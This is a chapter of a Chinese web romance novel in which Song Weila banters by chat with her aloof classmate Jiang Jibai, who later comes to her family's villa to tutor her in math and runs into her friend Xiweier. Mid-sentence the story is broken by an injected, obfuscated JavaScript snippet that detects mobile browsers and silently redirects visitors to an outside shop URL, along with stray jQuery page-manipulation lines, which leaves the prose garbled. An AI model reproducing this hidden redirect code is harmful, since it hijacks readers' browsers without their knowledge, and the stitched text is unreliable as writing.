宋薇拉回了一个更大的句号表情包过去。
「Vera:江同学,我还在休息中,我上周才发生了那么不好的事情...你应该听说了吧。」
「Vera:正常来说,你不应该先礼貌问候我一两句吗?怎么倒先发来数学试卷了...」
发完那些话,宋薇拉并不指望江既白能给出什么像样的回复。以往和江既白有限的交流里,她总觉得自己像提前进了职场,对话框里充满着公事公办的语气、系统自带的微笑表情,还有文件名一丝不苟的数学资料。这种聊天方式和他清冷的气质很相称,像一座冰山,叫人窥不见半分情绪。
只是在家玩得太久,也生了些无聊,索性逮住个活人,随便逗上几句解闷。
没过几秒,江既白就发来了新的消息。出乎意料的是,他竟然回了一张表情包。表情包是一个戴着黑色框架眼镜的棕色小熊,正严肃地点点头,上面有着一个白色的气泡,上面写着“嗯嗯”两字,好像正在对待一件很严肃的事情,只是那憨萌的玩偶模样,又把这份郑重悄悄化开了,不过是再普通不过的寒暄。
宋薇拉有些新奇。
「江既白:我知道。」
说完这句后,江既白隔了很久都没有发消息。
宋薇拉:???
这下她真是有些不理解江既白的双商了,哪怕是面对最陌生的同学,在对方遭遇恐怖袭击之后,也不该只丢下一句轻飘飘的“我知道”,就消失不见吧?
好吧,宋薇拉不得不承认,自从做了那几个亦真亦假的梦,她好像和那个“宋薇拉”产生了某种共鸣。心底深处,对这个上辈子纠缠不清的“男主”,她会生出一些不该有的期待。也许如系统所说,她的底层代码在迫使着她对对方有一些不切实际的期待。
内心一阵波澜后,宋薇拉扔下手机,喊上蛋黄,在江边逛了几圈,寒冬将近,江边的鸟类少了许多,大雁们已经南归,只剩下一些并不好看的绿头鸭。蛋黄却很欣喜,绿头鸭体膘身肥,飞得慢,和她是势均力敌的玩伴。
回到内屋,给蛋黄洗完狗爪后,月色已经高挂枝头,宋薇拉拿起手机,却瞧见江既白发来一条消息,信息类型是锁屏不可见。
不会又是他整理的数学笔记吧...
宋薇拉滑动屏幕,点击一看,果然,是一个命名为「数学资料(自学)」的文件。而且足足有100MB!
他这么执着她的学业,她倒不好拒绝了,宋薇拉点开那个文件,那个文件足足有二十页,全是关于代数的内容。知识点被分门别类地整理好,从基础公式到拓展题型,白底黑字,格式整齐。附页内容是她上次做错的那些数学题,还加上了新的变式题。
......
江既白负责的让人生不出怠惰心了,宋薇拉感慨交加地想着。
就在这时,一阵轻柔的纯音乐从手机里传出来,宋薇拉一惊,下意识怀疑莫非是自己的手机被感染了什么病毒?这般想着,那份文件的二十页纸发出细微清脆的折纸声,布局从单页排序变化成了高屋建瓴的并列模式,慢慢地,像是有着绚烂的魔法一般,这些电子化的洁白纸张在屏幕里飞舞旋转...
宋薇拉目不转睛地看着,那些洁白的纸张在飞旋中舒展、层叠,仿佛被无形的风悄然塑形,先是聚成一朵单薄的花苞,而后盈盈聚作一簇花束,那些花朵就像是被露水打湿了,浸染出鲜艳亮丽的油彩色,在屏幕间轻轻摇曳。
随着轻柔的音乐消散,飞舞的纸张仿佛骤然间失去了魔法。花瓣收拢,色彩褪去,它们重新变回最普通的模样,一页接着一页。
刚刚的一切好像只是宋薇拉的幻觉,只是心中流淌过的情感让宋薇拉知道,这一切都是真实的,是江既白送给她的礼物。
「江既白:记得把这份卷子做了。」
几瞬过后,江既白的消息发来。
心中的余韵还未散去,宋薇拉在聊天框内删删减减,最后在消息框说道:「这些题好难,做的时候肯定又是我一个人瞎打转。」
她抛了一个钩子过去。
「江既白:有不会的题先空着,我把详细的步骤发给你。」
宋薇拉不气馁,尝试再试探一番。
「Vera:数学怪就怪在,现成的答案写在那里都读不懂呀,需要一些翻译,最好是人声的。」
「江既白:...」
「江既白:你和我都很忙。」
宋薇拉知道他已经读懂了暗示,说道:「我才不忙呢,这些天在家里都要发霉了。」
「江既白:不差这两周的补习时间,看望你的人那么多,你还是好好招待他们吧。」
这话跟吃了生姜一样,怎么闻起来辣辣的。
他话语里的推辞意味太浓,宋薇拉回想了一下江既白的生活,他确实很忙,周末或许还有些其他兼职,整理这些资料已经是很大的精力了,她也不太好强求他。
她回答道:「那好吧。」
......
周六。
江既白估摸着早上十点来的霍宅,这座城中别墅并不难找,与对岸繁华的高楼大厦隔江相望。外观装潢低调,却处处透着不显山露水的奢贵气质。透过栅栏,能一眼望见宽阔的网球场与精心打理的花园,都是需要持续投入人力才能维持的景象。
按响门铃后,等了五分钟,来接他的是一个穿着黑色西装打着领结的女仆,边引路边说道:“宋小姐现在在客厅,原本她是打算亲自来接您的,结果现在有事绊住了。”
怕是什么桃花事吧。
江既白面上淡淡嗯了一声,他谈话的兴致不高,一旁的女仆却对这位面生的客人颇有攀谈的想法。他今天没穿校服,只一身再简单不过的白衬衫与黑裤,却显得格外清俊。和往常那些一看便知被富贵浸养着的客人,不太一样,像是被早晨的寒露润洗过。
“您也是艾西斯学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008693|185384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院的吗?宋小姐的同学?”穿过网球场,女仆好奇问道。
“是的。”
“果然,”女仆感叹了一声,“有时候我都怀疑艾西斯学院不是一个贵族学院,而是什么艺术名校,俊男美女成群。小姐的朋友们每次来,我这心脏和眼睛可真有点跟不上,都跟电影明星一般...”
这是在夸他的皮相好,江既白却没什么开心的表情问道:“很多吗?”
女仆一愣,江既白重复地问道:“来看她的人很多吗。”
虽然只是寻常的问句,但女仆毕竟是二十多岁、经历过不少人情世故的人。她敏锐地听出江既白话里那层隐微的探询,心下一转,做佣人的,最忌讳把主人家的事随意外传,尤其是对这位看起来和小姐关系不一般的客人。
她打了个哈哈,江既白也没有追问,恰好别墅主楼已到,女仆把江既白带进客厅后,便鞠了躬离开了。
客厅的装横很简洁宽敞,以至于江既白一瞬间就锁定了正坐在沙发上的两个人,女孩正在和旁边的人闲聊着什么,氛围亲密。就在这时,一道沉闷的低吼从沙发下面传来,一只看上去该减肥的金毛飞速蹿了出来,低吼转变为响亮的汪汪声,奔向江既白。
像是在驱逐陌生人。
西维尔不言语,坐在沙发上安稳如山,宋薇拉反应过来,急忙喊了一声:“蛋黄,过来。”听到呼唤,金毛蛋黄仰头朝面前神色冷淡的江既白喷了口气,皱起圆乎乎的鼻子,扭头便小跑回宋薇拉脚边坐下,黑溜溜的圆眼无辜极了。
“蛋黄很听话的,一直很守家。”西维尔微笑着摸了摸金毛的头,蛋黄转过头舔了舔他的手,宋薇拉白了他一眼,不管好蛋黄就算了还在这里添油加醋,西维尔睁着蓝色眼睛,意味深长地歪了歪头:“蛋黄很通人性,平时对陌生人不这样的...”
真是狗似主人,江既白在心底冷嗤了一声,他面色不显,只对宋薇拉道:“你果真很忙。”
“我可冤死了,谁知道你们两个会撞在一起啊...”宋薇拉小声地嘟囔了一句。周四她有意试探江既白,问他想不想来霍宅帮她补习,结果他对这个提议丝毫没有兴趣,好嘛,不想来就不来吧,她也不好绑着他来,但是周五她把题目做完后发给他,就收到他克制的批评,大意就是错得太多了,不是她的真实水平之类的。
宋薇拉语塞心虚,只好语气服软,说麻烦他写详细的思路了。江既白这时却说这些题用文件汇总给她步骤效率太低,不如找一段时间见面辅导,而他只有周六有空。
宋薇拉:......
兜兜转转还是咬上了她的钩,所以中间拒绝的原因是什么。周六她也有时间,只是西维尔说他要周六上门来接蛋黄去医院复查。
反正西维尔待一会就要走了,应该不会耽误她跟江既白的数学辅导吧...?
望着神色自若的江既白,和笑得分不出差错的西维尔,宋薇拉心头涌上一阵怀疑。